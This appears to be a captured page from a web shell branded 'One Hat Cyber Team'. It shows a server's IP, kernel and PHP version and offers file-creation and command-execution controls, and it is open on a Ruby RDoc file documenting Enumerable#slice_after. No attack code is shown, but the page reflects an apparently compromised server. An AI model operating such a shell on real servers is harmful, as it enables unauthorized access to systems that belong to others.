⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.93
Server IP:
65.108.141.171
Server:
Linux server.heloix.com 5.4.0-214-generic #234-Ubuntu SMP Fri Mar 14 23:50:27 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
7.4.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
ri
/
2.7.0
/
system
/
Enumerable
/
Edit File: slice_after-i.ri
U:RDoc::AnyMethod[iI"slice_after:ETI"Enumerable#slice_after;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"6Creates an enumerator for each chunked elements. ;TI"?The ends of chunks are defined by _pattern_ and the block.;To:RDoc::Markup::BlankLine o; ; [I"PIf <code>_pattern_ === _elt_</code> returns <code>true</code> or the block ;TI"Hreturns <code>true</code> for the element, the element is end of a ;TI"chunk.;T@o; ; [I"SThe <code>===</code> and _block_ is called from the first element to the last ;TI"element of _enum_.;T@o; ; [I"DThe result enumerator yields the chunked elements as an array. ;TI"/So +each+ method can be called as follows:;T@o:RDoc::Markup::Verbatim; [I"2enum.slice_after(pattern).each { |ary| ... } ;TI"8enum.slice_after { |elt| bool }.each { |ary| ... } ;T:@format0o; ; [I"BOther methods of the Enumerator class and Enumerable module, ;TI"*such as +map+, etc., are also usable.;T@o; ; [I"GFor example, continuation lines (lines end with backslash) can be ;TI"concatenated as follows:;T@o;; [I":lines = ["foo\n", "bar\\\n", "baz\n", "\n", "qux\n"] ;TI"*e = lines.slice_after(/(?<!\\)\n\z/) ;TI"p e.to_a ;TI">#=> [["foo\n"], ["bar\\\n", "baz\n"], ["\n"], ["qux\n"]] ;TI"Np e.map {|ll| ll[0...-1].map {|l| l.sub(/\\\n\z/, "") }.join + ll.last } ;TI",#=>["foo\n", "barbaz\n", "\n", "qux\n"];T; 0: @fileI"enum.c;T:0@omit_headings_from_table_of_contents_below0I"genum.slice_after(pattern) -> an_enumerator enum.slice_after { |elt| bool } -> an_enumerator ;T0[ I" (p1);T@1FI"Enumerable;TcRDoc::NormalModule00
Simpan